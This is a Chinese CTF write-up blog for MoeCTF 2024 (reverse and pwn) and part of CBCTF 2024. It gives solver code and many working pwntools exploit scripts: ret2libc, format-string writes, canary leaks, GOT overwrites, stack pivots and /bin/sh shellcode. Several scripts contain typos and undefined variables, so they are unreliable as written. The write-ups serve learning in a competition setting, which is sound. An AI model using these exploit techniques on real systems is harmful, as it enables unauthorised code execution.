 0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52,
 0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
unsigned char dword_404078[16] = {
 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63, 0x74, 0x66, 0x32, 0x30, 0x32, 0x34,
};

int main() {
 unsigned int i;
 char flag[32]={0};
 for(i=0;i<32;i++){
 flag[i]=byte_404058[i]^dword_404078[i%16];
 }
 printf("%s\n",flag);
}

打印出来 This_1s_a_f4k3_flag_plzTry_ag4in?假flag

可动调可直接看，花指令，call $+5就是push并执行下一步指令，然而后面add指令会刚好使push的地址跳过add和retn的六个字节，音次最后retn便会直接结束我们直接在下面p创建函数

上面是很明显的tea加密，然后异或

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
 0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52,
 0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
uint32_t dword_404078[4] = { 0x6C6C6568 ,0x6F6D5F6F,0x66746365,0x34323032 };
void tea(uint32_t* p,uint32_t* q,uint32_t* k){
 uint32_t v0 = *p, v1 =*q, sum = 0xC6EF3720, i;
 uint32_t delta = 0x9e3779b9;
 uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
 for (i = 0;i < 32;i++) {
 v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
 v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
 sum -= delta;
 }
 *p = v0;*q = v1;

}
int main() {
 unsigned int i;
 char key[]={ 43,-14,-126,65,72,116,-99,-86,126,76,-38,4,8,44,-88,82,-105,119,-73,59,22,45,-44,-4,96,-66,-60,-74,115,25, -108,-121 };
 char flag[32]={0};
 for(int i=0;i<32;i++) byte_404058[i]=byte_404058[i]^key[i%32];
 for(int i=0;i<4;i++){
 tea((uint32_t*)(byte_404058+8*i),(uint32_t*)(byte_404058+8*i+4),dword_404078);
 }
 for(i=0;i<32;i++){
 flag[i]=byte_404058[i]^ *((unsigned char*)dword_404078+i%16);
 }
 printf("%s\n",flag);
 return 0;
}

moectf{how_an_easy_junk_and_tea}

babe_z3

upx脱壳后进IDA

读取后从s到v13八字节存储

接下来一系列条件判断，最后一个里面表明第一个判断v4的条件, 其低32位要求为0，而高32位判断更为简单，这里我们让第一个条件不符合v4的判定也可以实现，根据题目中z3判断这里根据z3实现约束条件

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from z3 import *
from Crypto.Util.number import *

def print_hex(s):
 return solver.model()[s].as_long().to_bytes(8,byteorder='little').decode()


solver=Solver() #创建一个实例化约束对象
s=BitVec('s',64) #创建64位变量
v11=BitVec("v11",64)
v12=BitVec("v12",64)
v13=BitVec("v13",64)

#加入约束条件
solver.add( (v12 & v13 ^ (v11 | ~(v13 + v11)) & s & v12) != 0xD81AC01FBBA91837 )
solver.add( (v11 ^ (v12 & (s + v12) | v13 & ~(v12 & s) | v11 & (v11 + v13) & ~s)) == 0x7071001344417B54)
solver.add( ((v12 - v13) ^ (s - v11)) == 0x3FE01013130FFD3 )
solver.add( (s + v12 - v13 + v11) * (v13 + s + v11 - v12) == 0x1989A41A9049C5C9)
solver.add( (v12 + v11 + s + v13) % 0x1BF52 == 21761 )
solver.add(( v13 * v12 * v11 * s % 0x1D4B42 == 827118 ))
solver.add( (v12 & s & v13 | (~(v11 | s) | v11 & v12) & v11 & s) == 0x2024243035302131 )
if solver.check()==sat: #sat就是查找是否存在变量使得某个布尔表达式可满足
 print(print_hex(s)+print_hex(v11)+print_hex(v12)+print_hex(v13))

裹上moectf{}即可 moectf{9c0525dcbadf4cbd9715067159453e74}

逆向工程进阶之北

pdf文档最后给出了加密代码： *(p+i)=(*(p+i)* 0xccffbbbb+0xdeadc0de)^ 0xdeadbeef+0xd3906;
+的优先级比异或高，我们要脱掉异或和的算法和内部的乘法
注意到非符号数运算，那么取模的数取到2³²，这里key=flaga mod2³² 那么flag反过来求就可以了，0xccffbbbb^-1mod2³²=0x8d61d173，所以逆向后最后再乘0x8d61d173就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include<stdio.h>

unsigned char flag[44] = {0};
unsigned char key[]={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};

int main(){
 unsigned int *p= (unsigned int *)flag;
 for(int i=0;i<11;i++){
 *(p+i)=((key[i]^(0xdeadbeef+0xd3906))-0xdeadc0de)*0x8d61d173;
 }
 printf("%s\n",flag);
 return 0;
}

moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

moejav

一道java逆向，下载附件后拖入jadx

将输入字符的ASCII码异或202再加32进行加密中间是一大串vmInsn数组的值，没什么用先跳过，翻到下面看操作

不懂，问AI 虚拟机指令: - vmInsn数组包含310个指令
- 虚拟机通过抛出和捕获异常来执行指令(这是一种不常见的控制流方式)
- 每条指令对应一个特定的异常类型
所以这里就是一个模拟虚拟机的代码操作这里在做什么呢？从图中我们看到一开始insn取出来为0时，取出一个值放入store进行后面操作，取6时store与操作数进行比较，操作数此时则进行过加密后的值，最后自然是exit了
或许我们可以顺序执行这些指令，遇到操作6时把数存入store，这样7个数7个数操作，我们把这些6之后的数全拿出来发现11个数为一组进行相同同操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from z3 import *
import copy
# 预期的store值，来自StarrySkyMeowNotFoundException指令
seven_values = [
 -25, -27, -33, -31, -50, -36, -39, -24, -52, -29, -52,
 -64, -58, -63, -52, -90, -39, -43, 26, 25, -49, -64,
 -51, 25, -45, -55, -47, 24, -41, -60, 22, -40, -60,
 -15, 50, -51, -31, 50, 50, -35, 50, -35, 51, -17
]

x=[BitVec(f"x{i}",8) for i in range(44)]
x2=copy.deepcopy(x)
for i in range(len(x)):
 x[i] ^=202
 x[i] +=32
# 逆向转换
s=Solver()
ans1=seven_values[0:11]
ans2=seven_values[11:22]
ans3=seven_values[22:33]
ans4=seven_values[33:44]

for i in range(11):
 s.add((x[i]^60)-20==ans1[i])

for i in range(11,22):
 s.add((x[i]^14)+5==ans2[i-11])

for i in range(22,33):
 s.add((x[i]^10)+5==ans3[i-22])

for i in range(33,44):
 s.add((x[i]+14)+10==ans4[i-33])

print(s.check())
m=s.model()
for single in x2:
 print(chr(m[single].as_long()),end='')

moectf{jvav_eXcEpt10n_h4ndl3r_1s_s0_c00o0o1}

Moectf2024-Pwn-Wp

Wed, 15 Jan 2025 00:00:00 +0000

pwn

个人认为本次赛题的综合性很强，并且非常适用于新手入门和过渡到之后的赛事，pwn题中没有堆题，但是关于rop和各种栈的考察，以及一些工具的使用非常到位，优秀的赛题

NotEnoughTime

一道计算题，要求时间在30s内通过简洁运行（官方wp）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24



from pwn import *


io = remote("192.168.77.1",51873)

io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")

for _ in range(20):
    io.sendline(
        str(
            eval(
                io.recvuntil(b"=")
                .replace(b"\n", b"")
                .replace(b"=", b"")
                .replace(b"/", b"//")
                .decode()
            )
        ).encode()
    )

io.interactive()

本人

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44



from pwn import *

io = remote("192.168.77.1", 51873)

io.sendlineafter(b"=", b"2")

io.sendlineafter(b"=", b"0")

io.recvuntil(b"!")


# 增加一个打印输出，观察整个过程

print("开始循环处理：")


for _ in range(20):

    # 接收计算表达式

    expr = io.recvuntil(b"=").replace(b"\n", b"").replace(b"=", b"").replace(b"/", b"//").decode()

    # 打印收到的表达式

    print(f"收到的表达式: {expr}")

    # 计算结果

    result = eval(expr)


    # 打印计算结果

    print(f"计算结果: {result}")

    # 发送计算结果

    io.sendline(str(result).encode())


# 获取交互

io.interactive()

leak_sth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from pwn import*
context(log_level='debug')
p=process('./leaksth')
#p=remote('26.198.202.50',9999)
gdb.attach(p)

payload=b'%7$p'
p.sendlineafter(b'your name?',payload)
p.recvline()
p.recvline()
num=int(p.recv(10),16)
print(hex(num))

payload=str(num)
p.sendlineafter(b'Give me the number',payload)
p.interactive()

no_more_gets

gets可以实现无限读取，因此直接ret2text 但是要注意以下这条 movaps xmmword ptr [rsp + 0x50], xmm0 在system中要求[rsp+0x50]必须十六字节对齐，所以我们将劫持地址+1跳过这个汇编指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from pwn import *

io = process('./pwn')

# my_shell = 0x401176
bin_sh = 0x401177

payload = cyclic(88) + p64(bin_sh)
io.sendlineafter(b".\n", payload)

io.interactive()

这是什么？32-bit!

注意一下32位execve()传参即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *

context(os='linux', arch='i386')
io = process('./pwn')
e = ELF('./pwn')

io.sendline()
payload = cyclic(0x28 + 4)
payload += flat([
 e.sym[b'execve'], # 覆盖的返回地址
 0, # `execve` 返回地址
 next(e.search(b'/bin/sh')), # `execve` 参数 `pathname`
 0, # `execve` 参数 `argv`
 0 # `execve` 参数 `envp`
])
io.sendline(payload)
io.interactive()

这是什么?GOT!

保护启动了partial relro，直接找GOT表，exit覆盖为后门函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from pwn import*
context(log_level='debug')
io=process('./pwn')
#io=remote('26.198.202.50',54772)
#gdb.attach(io)
system_plt=0401056
backdoor=0x40119A

payload=cyclic(0x10)+p64(system_plt)+cyclic(0x20)+p64(backdoor)
p.sendafter(b'This is `puts`.',payload)
p.interactive()

这是什么？libc！

程序开启了PIE随机化，泄露lbc后ret2libc即可，添加ret保证栈平衡

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context(os="linux", arch="amd64")

io = process('/pwn')
#io=remote(...)
libc = ELF("./libc.so.6")

io.recvuntil(b"0x")
libc.address = int(io.recv(12), 16) - libc.sym["puts"]

payload = cyclic(9) + flat([
 libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`，用于栈指针对齐
 libc.search(asm("pop rdi; ret;")).__next__(),
 libc.search(b"/bin/sh\x00").__next__(),
 libc.sym["system"],
])
io.sendafter(b">", payload)

io.interactive()

这是什么？random！

伪随机，固定种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from pwn import *
from ctypes import cdll
from time import localtime

io=process('./pwn)
libc=cdll.LoadLibrary('libc.so.6')
libc.srand(0xe9)

for _ in range(12):
 io.sendlineafter(b'> ),str(libc.rand()%90000+10000).encode())

io.interactive()

Catch_the_canary!

泄露canary，或者scanf时传’+‘或’-‘跳过输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import*
context(log_level='debug')


for i in range(16768186,16768186+9029):
 io=remote('...')
 io.sendline(str(i))
 io.recvline()
 io.recvline()
 check=io.recvline()
 print(check)
 if b'[Error] Wrong! Try again.' in check:
 io.close()
 else:
 break

backdoor=0x4012C9
payload=b'a'*0x10+p64(0xbacd003)
io.sendlineafter(b'One shot.',b'+')
io.sendline(b'1')
io.sendline(str(0xbacd003))
io.sendafter(b'Stop it!',b'a'*0x19)
io.recvuntil(b'a'*0x19)
canary=b'\x00'+io.recv(7)
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*8+p64(backdoor)
io.sendline(payload)
io.interactive()

loginsystem

1
2
3
4
5
6


from pwn import *
io=remote('...')

io.sendafter(b"username: ",b'%9$ln '+p64(0x404050))
io.sendafter(b'password: \n',b'\x00'*8)
io.interactive()

pwn_it_off!

这题就有点意思了，voice_pwd中有未初始化的字符串，调试是会发现password同时也在栈中，提示中说strcmp 为什么比strncmp 危险。答案是strcmp会通过’\x00’截断对比, 我们需要通过输入正确密码（即beep中残留字符串），在’\x00’后添加二进制形式数字最后才能通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19



from pwn import*
context(log_level='debug')
io=process('./alarm')

def gdbs():
 gdb.attach(io)
 pause()

while True:
 temp=io.recvline()
 if b"[Error]" in temp:
 break
 pre_temp=temp #随机化beep所以写循环检测最后一组

password=pre_temp[28:28+15]+b'\x00'+p64(12345)[0:7]
print(p64(12345)[0:7])
p.sendafter(b'password.',password)
p.sendlineafter(b'password.',b'12345')

system_not_found!

观察得知，若是我们可以第一次read时把nbytes覆盖掉，第二次read就可以溢出了，然后泄露libc，ret2libc，关键是泄露出来的这个gadget到底是什么？gdb调试，main即将返回时rdi的值恰好是libc中的funlockfile, 返回puts将会泄露出libc然后我们再返回到main去执行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./dialogue")
elf=ELF("./dialogue")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64190)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))



sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(elf.plt['puts'])+p64(elf.sym['main']))
ru(b'.\n')
one_gadget=u64(io.recv(6).ljust(8,b'\x00'))
log.success("one_gadget:"+hex(one_gadget))

ret=0x40101a
libc_addr=one_gadget-libc.sym['funlockfile']
bin_sh=libc_addr+libc.search(b"/bin/sh").__next__()
pop_rdi=libc_addr+libc.search(asm("pop rdi; ret;")).__next__()
pop_rsi=libc_addr+libc.search(asm("pop rsi; ret;")).__next__()
system_addr=libc_addr+libc.sym['system']
sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))


io.interactive()

VisibleInput

开启保护和沙箱使用ae64可以快捷ret2shellcode,orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


from pwn import*
from ae64 import AE64
context(arch='amd64')
io=process('./input')
#io=remote('...')

payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,0x20240000,100)
payload+=shellcraft.write(1,0x20240000,100)

shellcode=AE64().encode(asm(payload),'rdx')
io.send(shellcode)
io.interactive()

Read_once_twice!

第一次读canary 第二次绕过canary，ret到backdoor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
io=process('./pwn')
#io=remote('...')
while true:

 io.sendafter(b'are turned on?\n',b'a'*0x19)
 io.recv(0x19)
 canary=b'\x00'+io.recv(7)
 io.sendafter(b'one more chance...\n',b'a'*0x18+canary+b'\x00'*8+p64((elf.sym["backdoor"]+1)[0:2])
 try:
 io.sendafter(b'hand.\n',b'ls')
 excepte Expection:
 continue
 break
io.interactive()

Got it!

名字上有got，那么应该就是对got表进行操作？

确实，可以注意这里这个溢出，输入索引v1会把save[v1]的地址存到now_save中，而输入16会把now_save的地址传给自己(now_save就在save下)，再次运算操作就会修改now_save的值，修改了指针于是先把指针修改为got之后，就可以根据偏移将puts(save[i])修改为system(/bin/sh) 由于本地环境不同记得要先patchelf一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


from pwn import *

context(log_level='debug',os='linux',arch='amd64')

context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote('172.22.192.1',54886)
elf_path = './pwn'
elf=ELF(elf_path)
libc_path = './libc.so.6'

libc=ELF(libc_path)

#io=remote("",)

#gdb.attach(io)

se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(num):

    sla(b'>',b'1')

    sla(b'Operand: ',str(num).encode())

def sub(num):

    sla(b'>',b'2')

    sla(b'Operand: ',str(num).encode())



sla(b'3. Exit',b'1')

sla(b'use?',b'0')

add(u64(b'/bin/sh\x00'))

sla(b'> ',b'5') ##返回

#puts修改为system
sla(b'3. Exit',b'1')
sla(b'use?',b'16')
sub(0x100) #now_save指向got.puts

add(libc.sym['system']-libc.sym['puts'])

#pause()

sl(b'5')
sl(b'3')

io.interactive()

栈的奇妙之旅

看名字估计就是栈迁移 PIE没开，只能多读16个字节，

bss段可写那么思路就有了

栈迁移到bss
bss里重新转移栈到输入时的头部开始执行rop
- 具体一点说先输入got泄露libc
- 然后pop出新的rbp可以执行read
- 最后移栈到头部执行rop即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=remote("172.22.192.1",50420)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x4011c5
leave_ret=0x4011fc
bss=0x404000+0x200
main_addr=0x4011E5

sa(b'me?',b'a'*0x80+flat(bss,main_addr))

payload=flat([
 bss+0x600,
 pop_rdi,elf.got['puts'],
 elf.plt['puts'],
 main_addr
]).ljust(0x80,b'\x00')+p64(bss-0x80)+p64(leave_ret)

se(payload)
ru('\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
payload=flat([
 bss,
 pop_rdi,libc_base+libc.search(b'/bin/sh').__next__(),
 pop_rdi+1, #ret
 libc_base+libc.symbols['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
se(payload)


io.interactive()

where_is_fmt

虽说是板子题但是很有意思（其实是我不会），bss段上的fmt 思路是

泄露stack
根据提示栈上有比较长的链子修改栈上的链子指向返回地址
通过修改后的指针修改返回地址格式化字符串泄露出的地址有好几个可以用，我们利用其中一个泄露出栈地址

泄露出栈的ret基地址关于payload，我们泄露出返回地址的栈地址之后，向偏移15的地方用$n修改其指向返回地址，

如上图，经过修改我们已经在stack的链子上布置了ret的地址第三次在指针修改过后修改偏移45的地址的返回地址到我们的后门

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64269)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


io.recv()
se("%8$p")
stack=int(rl(),16)-8
log.success('stack:'+hex(stack))

payload=f'%{stack & 0xffff}c%15$hn'.encode()
sla(b'chances',payload)

backdoor=0x401202
payload=f'%{backdoor & 0xffff}c%45$hn'.encode()
sla(b'chances',payload)

io.interactive()

CBCTF2024部分WP和反思

Thu, 02 Jan 2025 23:53:00 +0000

MISC

真假流量

黑客小李开发了一个恶意软件，他说他使用了一种混杂技术，把恶意流量包裹在大量真实流量里面，这也就可以防止防火墙检测出来。聪明的你可以帮忙反制黑客小李吗？格式：CBCTF{ip} 最大可尝试5次

下载得到一个流量包，wireshark打开

大致一看没什么明显的可疑流量，观察发现使用有TLSv1的信息，是一个较旧的协议版本，可能存在安全性问题，无法流跟踪于是1_ws.col.info == "Client Hello (SNI=cdn-dynmedia-1.microsoft.com)"进行筛选

发现十六进制包头部分存在变化，但是明文没有变化有些奇怪，提交了这个ip尝试flag，然后就通过了

不要作弊

看似正常的运维时的截图, 实则隐藏了社长要传达给参加比赛的同学们的某则指示…. flag格式为：CBCTF{} 例如：flag{test_flag} 改为 CBCTF{test_flag}

下载得到一个图片, 丢到随波逐流里

发现有隐藏压缩文件，binwalk和foremost都提取一次试试（由于binwalk和foremost提取出的压缩文件可能略有不同所以两个都尝试一下）

foremost提取(不会自动解压缩文件，它只提取出压缩的文件。如果压缩文件被嵌入到二进制数据中，你需要手动解压缩这些文件, 幸运的是这里直接提取出了一个zip文件)

binwalk提取（提取的文件只是压缩数据或嵌套数据本身，并且不一定会自动解压缩或进一步处理提取的内容。对于压缩格式的支持受限于它所识别的签名，可能无法提取一些较不常见或较新格式的压缩文件。所以这里提取出了zlib文件）

我们先尝试通过zip文件去解决

打开发现两个文件，可能是尝试明文攻击，联想到社会工程学先搜索一下文件试试

发现一个PDF一个WORD文件，下载下来压缩进行对比

发现两个PDF文件CRC32压缩和大小相同，是同一个文件可以进行明文攻击，把提取出的zip文件中的doc文件删除后到ARCHPR中明文攻击

加密秘钥恢复成功，在doc文件中末尾找到flag

CRYPTO

EQUATION

一个比较简单的密码，可以分析，题目给出另外一个附件，其中是加密之后的内容，有25个类似的方程，加密算法即代码中给出的 [ a \cdot m + b \equiv c \mod \text{ }

查找得到用中国剩余定理求解多个方程且模数互质的问题

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


from sympy import mod_inverse
from functools import reduce

equations = [
 (424507, 258891, 246908, 696833),
 (725635, 532266, 196020, 913873),
 (525257, 615406, 320693, 1041077),
 (83144, 77839, 378617, 739631),
 (118240, 112107, 439081, 659539),
 (689363, 382486, 909472, 1013741),
 (689679, 637871, 783227, 901529),
 (255640, 331169, 471838, 594311),
 (583522, 135573, 846849, 1010203),
 (420869, 290426, 411805, 618377),
 (945219, 32778, 905582, 1021651),
 (620301, 441932, 117862, 869233),
 (663631, 852415, 494895, 867619),
 (699620, 557493, 53174, 730571),
 (59702, 84201, 265515, 854299),
 (20572, 600277, 106738, 765319),
 (681296, 883108, 245309, 900577),
 (100959, 581845, 520231, 716789),
 (149718, 384454, 362305, 876761),
 (373486, 791525, 183314, 847477),
 (550280, 313487, 490116, 601397),
 (318232, 430375, 409959, 934907),
 (79907, 133279, 451022, 561917),
 (171513, 94683, 332805, 615497),
 (426495, 420294, 285501, 619079),
]

# 扩展欧几里得算法来求解模逆
def solve_congruence(a, b, c, mod):
 # 方程反求
 rhs = (c - b) % mod
 a_rev = mod_inverse(a, mod) # 计算a的模逆
 m = (a_rev * rhs) % mod # 求解m
 return m

# 使用中国剩余定理求解
def chinese_remainder_theorem(congruences):
 def extended_gcd(a, b):
 if b == 0:
 return (a, 1, 0)
 g, x1, y1 = extended_gcd(b, a % b)
 x = y1
 y = x1 - (a // b) * y1
 return g, x, y

 def crt(congruences):
 x = 0
 M = reduce(lambda x, y: x * y[1], congruences, 1)
 for ai, mi in congruences:
 Mi = M // mi
 g, inv, _ = extended_gcd(Mi, mi)
 if g != 1:
 raise Exception(f"Moduli are not coprime: {mi}")
 x = (x + ai * Mi * inv) % M
 return x

 return crt(congruences)

# 存储所有的同余方程
congruences = []
for a, b, c, mod in equations:
 m = solve_congruence(a, b, c, mod)
 congruences.append((m, mod))

# 使用中国剩余定理合并所有解
flag_as_int = chinese_remainder_theorem(congruences)


# 要将整数转化为字节来得到原始flag
def int_to_bytes(x, length=None):
 # 确定所需的字节长度
 if length is None:
 length = (x.bit_length() + 7) // 8
 return x.to_bytes(length, byteorder='big')

# 将整数转回字节，得到原始flag
flag_bytes = int_to_bytes(flag_as_int)
print(f"Flag as string: {flag_bytes.decode()}")

PWN

corrupted

With ELF corrupted, opportunity coexists.

VMMAP查看空间，发生可写可执行段刚好在main函数上, 打ret2shellcode

IDA中查看，match函数每次发送八个字节，v4不能大于3，但是当然可以小于0，于是每次输入match函数和verify函数的偏移值，将match函数导向verify函数，然后我们第二次将shellcode打包分块发送过去，这样最后就可以执行完shellcode了，注意每次返回时地址偏移i逐步调整shellcode阶段，shellcode长度22，三次发送足以完成

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#打ret2shellcode
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
#p=process("/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted")
p=remote("training.0rays.club",10093)
#gdb.attach(p)
elf=ELF('/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted')

shellcode='''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
'''
payload=asm(shellcode)

match_addr=elf.symbols['match']
verify_addr=elf.symbols['verify']
in_addr=verify_addr-match_addr #可写段上写入负数并跳转，注意//8，每次读4字节
for i in range(3):
 p.recvuntil("> ")
 p.sendline(str(in_addr//8+i))
 p.sendlineafter(">",str(unpack(payload[i*8:i*8+8],'all')))

p.recvuntil("> ")
p.sendline(str(1))
p.sendlineafter(">",str(1))
p.interactive()

做的题实在是太少了，大一给自己定了很多目标却也很多没完成，太空太远了，就会畏惧，就会找身边可以利用的借口推脱，回过神虽然前进了却不是走在自己想要的路上。憧憬只能是游戏而不是现实，现实不能存档读档，也没有那么多让你思考的时间，所以才要一刻不停地学下去，掌控好节奏，才会有转机吧。。

剩余复现在update那篇文章